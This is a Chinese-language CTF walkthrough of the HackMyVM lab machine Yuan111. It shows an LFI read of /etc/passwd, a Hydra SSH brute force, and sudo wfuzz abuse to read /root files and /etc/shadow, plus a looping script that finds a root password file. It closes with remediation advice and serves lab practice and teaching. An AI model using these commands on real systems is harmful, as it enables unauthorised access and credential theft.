跳到主要内容

HackMyVM Yuan111 通关记录|LFI 用户枚举、SSH 爆破与 sudo wfuzz 任意文件读取提权

靶机链接:Yuan111


0x01 基本信息

名称IP说明
Kali Linux192.168.1.113攻击机
Yuan111192.168.1.107Debian 10 (buster) Oracle VirtualBox 靶机
复现地址

下面命令以 192.168.1.107 为例;如果你的靶机 IP 不同,把命令中的目标地址替换成实际地址即可。攻击机 IP 固定为 192.168.1.113,用于说明攻击端环境,不影响核心利用链。


攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp SSH、80/tcp HTTP确定攻击面
信息泄露file.php?file=/etc/passwd获取系统用户 tao
初始访问Hydra + rockyou → tao:rockyouSSH 低权限 shell
sudo 枚举sudo -l(ALL) NOPASSWD: /usr/bin/wfuzz发现提权入口
Root Flagsudo wfuzz -z file,/root/root.txt直接读取 root flag
Shadow 泄露sudo wfuzz -z file,/etc/shadow获取 root 密码哈希
隐藏文件发现range 循环 sudo wfuzz -z file,/root/N.txt发现 /root/111.txt
Root 密码/root/111.txtq6I42RCMyMkDV45svyuF获取 root 明文密码
Root Shellssh root@192.168.1.107完成目标

0x02 侦察与信息收集 (Reconnaissance)

1. 端口扫描

先用 RustScan 做快速端口发现,并联动 Nmap 完成服务识别与脚本扫描:

rustscan -a 192.168.1.107 -- -sV -sC -O -Pn -v

扫描结果:

端口服务版本
22/tcpSSHOpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcpHTTPApache httpd 2.4.62 (Debian)

分析: 目标仅暴露 SSH 与 HTTP 两个端口。OS 指纹为 Debian-based Linux(内核 4.19),MAC 地址确认为 Oracle VirtualBox 虚拟机。

2. Web 服务枚举

访问 http://192.168.1.107/,首页主题为 "Rockyou.txt - 密码字典文件介绍",暗示靶机与密码字典攻击相关。

使用 gobuster 进行目录枚举:

gobuster dir -u http://192.168.1.107 -w /usr/share/wordlists/dirb/common.txt \
-x php,txt,html,zip,tar,gz,bak -q

关键发现:

端点状态说明
/200Rockyou.txt 介绍页面(中文)
index.html200静态首页
file.php200LFI 漏洞端点(空响应)
server-status403Apache 状态页(禁止访问)

3. LFI 信息泄露

file.php 接受 ?file= 参数,可读取系统文件。测试发现仅 /etc/passwd 可读(其他文件返回空,疑似做了路径白名单过滤):

curl -s "http://192.168.1.107/file.php?file=/etc/passwd"

输出(关键行):

root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
tao:x:1000:1000:,,,:/home/tao:/bin/bash

分析:

  • 系统为 Debian 10 (buster),仅有两个可登录用户:roottao
  • tao 用户 home 目录位于 /home/tao
  • 首页主题为 rockyou.txt,强烈暗示 SSH 密码在常见字典中

4. 目标信息汇总

IP: 192.168.1.107
Hostname: 111.lan
MAC: 08:00:27:DB:77:78 (Oracle VirtualBox)
OS: Debian GNU/Linux 10 (buster)
Kernel: 4.19.0-27-amd64
用户: root, tao (uid 1000)

0x03 漏洞分析与初始访问 (Vulnerability Analysis & Initial Access)

1. SSH 字典爆破

首页即暗示 Rockyou 密码字典,使用 Hydra 对 tao 用户进行爆破:

# 清除旧主机密钥
ssh-keygen -f "/home/kali/.ssh/known_hosts" -R "192.168.1.107"

# Hydra 爆破
hydra -l tao -P /usr/share/wordlists/rockyou.txt.gz -t 4 -f ssh://192.168.1.107

输出:

[22][ssh] host: 192.168.1.107 login: tao password: rockyou

凭据 tao:rockyou 命中(密码与字典文件名相同,属于典型的靶机设计)。

2. SSH 初始访问

sshpass -p 'rockyou' ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null tao@192.168.1.107 'id; uname -a'

输出:

uid=1000(tao) gid=1000(tao) groups=1000(tao)
Linux 111 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux

已成功获取 tao 用户 shell。


0x04 本地信息收集与 User Flag

1. 系统基本信息

sshpass -p 'rockyou' ssh -o StrictHostKeyChecking=no tao@192.168.1.107 \
'id; uname -a; cat /etc/os-release'

输出:

PRETTY_NAME="Debian GNU/Linux 10 (buster)"
VERSION_ID="10"
VERSION_CODENAME=buster

2. sudo 权限检查(关键发现)

sudo -l

输出:

Matching Defaults entries for tao on 111:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id

分析: tao 可以 root 身份无密码执行 wfuzzidwfuzz 是 Python Web Fuzzer,支持 -z file,<path> 参数以文件内容作为 payload——这可以直接以 root 身份读取任意文件内容(GTFOBins 记录的经典 sudo 提权技巧)。

3. SUID 与 Capability 枚举

find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null

结果: 系统仅包含标准 Debian SUID 二进制文件(sudopkexecmount 等),无异常 SUID 文件。pkexec 版本为 0.105-31+deb11u1,CVE-2021-4034 (PwnKit) 已修复。无特殊 capability。

4. 内网服务检查

ss -tlnp

输出:

LISTEN 0.0.0.0:22
LISTEN *:80
LISTEN [::]:22

仅 SSH 和 HTTP 两个监听端口,无其他内网服务。

5. 发现 user.txt(第一个 Flag)

ls -la /home/tao/
total 28
drwxr-xr-x 3 tao tao 4096 Jan 7 2026 .
drwxr-xr-x 3 root root 4096 Jan 7 2026 ..
lrwxrwxrwx 1 root root 9 Jan 7 2026 .bash_history -> /dev/null
-rw-r--r-- 1 tao tao 220 Jan 7 2026 .bash_logout
-rw-r--r-- 1 tao tao 3526 Jan 7 2026 .bashrc
drwxr-xr-x 3 tao tao 4096 Jan 7 2026 .config
-rw-r--r-- 1 tao tao 807 Jan 7 2026 .profile
-rw-r--r-- 1 root root 44 Jan 7 2026 user.txt <-- FLAG!
cat /home/tao/user.txt

User Flag:

flag{user-21747e1ca09bfcc4f2551263db0f3dff}
文件权限与历史记录

flag 文件属主为 roottao 仅有读取权限;.bash_history 被符号链接到 /dev/null,无法通过命令历史获取信息。


0x05 权限提升 (Privilege Escalation)

提权充分利用了 sudo wfuzz 的两种用法:(1) 以 root 读取任意文件,(2) range 循环发现隐藏文件。

1. sudo wfuzz 文件读取:直接读取 Root Flag

wfuzz-z file,<path> 参数将文件内容作为 fuzzing 字典,payload 在 HTTP 请求的响应中回显。以 sudo 运行时,wfuzz 以 root 身份打开文件,从而绕过文件权限限制。

读取 Root Flag:

sudo wfuzz -z file,/root/root.txt --hc 404 http://192.168.1.107/FUZZ

输出(关键行):

000000001: 404 9 L 31 W 275 Ch "flag{root-9bbd
404 9 L 31 W 275 Ch 7af2a042a901b92
404 9 L 31 W 275 Ch dc203b3896621}"

Root Flag:

flag{root-9bbd7af2a042a901b92dc203b3896621}

原理说明:

sudo wfuzz -z file,/root/root.txt --hc 404 http://target/FUZZ
│ │ │
│ │ └─ 每行 payload 替换 FUZZ 占位符
│ └─ 以 root 身份打开 /root/root.txt 作为 wordlist
└─ wfuzz 以 root 权限运行

wfuzz 逐行读取文件内容,每行作为 HTTP 请求的 payload 发送至目标服务器。无论服务器返回什么响应码,payload 内容都会显示在 fuzzing 结果表的 "Payload" 列中,从而实现了以 root 身份读取任意文件的目的。

2. sudo wfuzz 读取 /etc/shadow

同样的技术用于读取 /etc/shadow,获取 root 密码哈希:

sudo wfuzz -z file,/etc/shadow --hc 404 http://192.168.1.107/FUZZ

提取的 root 哈希:

root:$6$N2l0GYAc2HyLxS2d$Ks1awHW0JPPVXft/ZpvptPLmh/P/
XiBRqH8G1uTjpDhrLHUwmN2PK8.MqQcrIwSXf2CGxk.ue11f9hZzZdtkw1:20460:0:99999:7:::

SHA-512 ($6$) 哈希,尝试 rockyou.txt 全量字典未命中,说明 root 密码不在常见泄露字典中。

3. Range 循环发现隐藏文件:获取 Root 密码

虽然 root flag 已到手,但尚未获得真正的 root shell。通过分析 /root 目录下仅有 root.txt(flag),推测靶机可能还在 /root 下隐藏了其他文件(如密码文件)。

文件路径参数的适用范围

wfuzzFUZZ 占位符只能在 URL 中生效,无法直接用于 -z file, 的文件路径参数中。因此使用 shell 循环配合 -z file, 的思路:遍历数字范围,逐个探测 /root/N.txt 是否存在。

自编写探测脚本 wfuzz-root-discovery.sh附件下载):

#!/bin/bash
# wfuzz-root-discovery.sh
# 利用 sudo wfuzz 探测 /root 目录下的隐藏 .txt 文件
# 用法: ./wfuzz-root-discovery.sh <start> <end> [ext] [target_url]

START=${1:-0}
END=${2:-200}
EXT=${3:-txt}
TARGET_URL=${4:-http://192.168.1.107/FUZZ}

for i in $(seq "$START" "$END"); do
result=$(sudo wfuzz -z file,/root/${i}.${EXT} --hc 404 \
"$TARGET_URL" 2>/dev/null || true)
if echo "$result" | grep -q "000000001"; then
payload=$(printf '%s\n' "$result" | awk -F'"' '/000000001/ {print $2; exit}')
echo "[+] 发现: /root/${i}.${EXT}"
echo " 内容: ${payload}"
fi
done

执行探测:

chmod +x wfuzz-root-discovery.sh
./wfuzz-root-discovery.sh 0 200 txt http://192.168.1.107/FUZZ

输出:

[+] 发现: /root/111.txt
内容: q6I42RCMyMkDV45svyuF

成功发现隐藏文件 /root/111.txt,内容为 root 明文密码!

4. SSH root 登录:获取完整 root 权限

使用发现的密码直接 SSH 登录 root:

sshpass -p 'q6I42RCMyMkDV45svyuF' ssh -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null root@192.168.1.107 'id; cat /root/root.txt; cat /root/111.txt'

输出:

uid=0(root) gid=0(root) groups=0(root)
flag{root-9bbd7af2a042a901b92dc203b3896621}
q6I42RCMyMkDV45svyuF

完整 root shell 已获取。


0x06 最终成果 (Final Flags)

User Flag

  • 路径: /home/tao/user.txt
  • 内容: flag{user-21747e1ca09bfcc4f2551263db0f3dff}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-9bbd7af2a042a901b92dc203b3896621}

凭据汇总

类型用户凭据来源
SSH 密码taorockyouHydra + rockyou.txt 字典爆破
Root SSH 密码rootq6I42RCMyMkDV45svyuF/root/111.txt(sudo wfuzz range 发现)

附件下载

脚本说明下载
wfuzz-root-discovery.sh通过 range 循环配合 sudo wfuzz -z file, 探测 /root/N.txt,输出发现的文件及其内容下载
附件使用前提

使用前提:当前用户拥有 sudo NOPASSWD: /usr/bin/wfuzz 权限。

# 快速使用
chmod +x wfuzz-root-discovery.sh
./wfuzz-root-discovery.sh 0 200 txt http://192.168.1.107/FUZZ # 探测 /root/0.txt ~ /root/200.txt
./wfuzz-root-discovery.sh 0 999 txt http://192.168.1.107/FUZZ # 更大范围
./wfuzz-root-discovery.sh 0 100 log http://192.168.1.107/FUZZ # 其他扩展名

复盘总结

Yuan111 靶机的攻击链简洁但每一步都需要对工具特性有深入理解:

  1. Rockyou 提示是关键线索。 首页主题为 Rockyou.txt 字典介绍,直接暗示了 SSH 爆破方向。这种"主题式暗示"在 CTF 靶机中常见,不应忽略任何页面信息。

  2. sudo wfuzz 是核心提权入口。 wfuzz-z file, 参数本质是"以当前进程身份打开文件并读取内容",配合 sudo 即可实现 root 级别的任意文件读取。这是 GTFOBins 中记录的经典 sudo 滥用技巧,但在实际靶机中构造利用链仍需要灵活变通。

  3. Range 循环 + 文件读取 = 隐藏文件发现。 wfuzzFUZZ 占位符不支持在 -z file, 路径中使用,因此无法直接用 -z range 参数化文件路径。通过 shell 循环配合 sudo wfuzz -z file,/root/$N.txt 逐个探测,实现了类似目录枚举的效果。这种方法对于发现 /root 等非 web 可访问目录下的隐藏文件具有通用价值。

  4. wfuzz 两种用法的区分。 本次渗透中 wfuzz 扮演了三种角色:(a) HTTP fuzzer(wfuzz -z range --hc 404 http://target/FUZZ.txt),(b) 文件读取器(sudo wfuzz -z file,/path),(c) 隐藏文件发现器(range 循环 + 文件读取)。理解工具的核心能力比记住具体命令更重要。

  5. 不要止步于 flag。 /root/root.txt 可以在提权前通过文件读取直接获取,但这不代表攻击结束;获取真正的 root shell(通过发现 /root/111.txt 中的 root 密码)才是渗透测试的完整目标。

  6. 密码强度与隐匿性的权衡。 root 密码 q6I42RCMyMkDV45svyuF 为 20 位随机字符串,不在任何公开字典中(rockyou 全量未命中),但以明文形式存储在 /root/111.txt 中使其一击即溃。密码的强度不仅取决于复杂度,还取决于存储方式。

防守侧修复建议:

  • 审查并收紧 sudoers 配置,避免授予 wfuzz 等具备文件读取能力的工具的 NOPASSWD 权限
  • 移除 /root 下的明文密码文件,使用 SSH key 或 vault 管理 root 凭据
  • LFI 漏洞应修复为白名单机制,避免通过参数控制 include/file_get_contents 的文件路径
  • SSH 启用 key-only 认证,禁用密码登录,或至少配合 fail2ban 限制爆破尝试
  • 定期审计 /etc/sudoers 和 SUID 二进制文件,消除不必要的特权提升路径